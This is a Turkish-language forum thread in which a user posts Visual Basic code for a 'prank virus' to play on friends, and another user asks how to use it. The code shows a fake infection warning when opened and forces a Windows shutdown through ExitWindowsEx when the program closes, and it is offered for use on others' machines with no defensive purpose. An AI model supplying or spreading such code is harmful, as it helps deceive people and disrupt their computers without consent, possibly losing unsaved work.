Arkadaşlarınıza küçük bir şaka.

[xDaMaRx06]

Evet Arkadaşlar Bu Kodla Kendiniz Şaka Virüsünü Yapabilirsiniz Kesinlikle Tüm Versionlarda Sorunsuz Çalışıyor Uzatmadan Kodu Vereyim Buyrun

Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Boolean
Private Const EWX_SHUTDOWN = 1
Private Const EWX_FORCE = 4
Private Const EWX_REBOOT = 2
Private Const EWX_LOGOFF = 0
Private Sub form_load()
MsgBox "Nıhahahahahahah Bilgisayarına virüs bulaşıyor programı açık tutarsan sistemin linç olur"
End Sub
Private Sub form_Terminate()
kapat = ExitWindowsEx(EWX_SHUTDOWN, 1)
If kapat = True Then
Else
MsgBox ("Hata oluştu")
End If

End Sub

 

[xDaMaRx06]

Bir + rep verirsiniz artık

 

[inTRaPersonal]

bunu nasıl yapcaz ne kodu bu nereye yazcaz

 

[xDaMaRx06]

yukarıdaki kodları herhangi programla yapabilirsin.

 

[inTRaPersonal]

hangi programla ama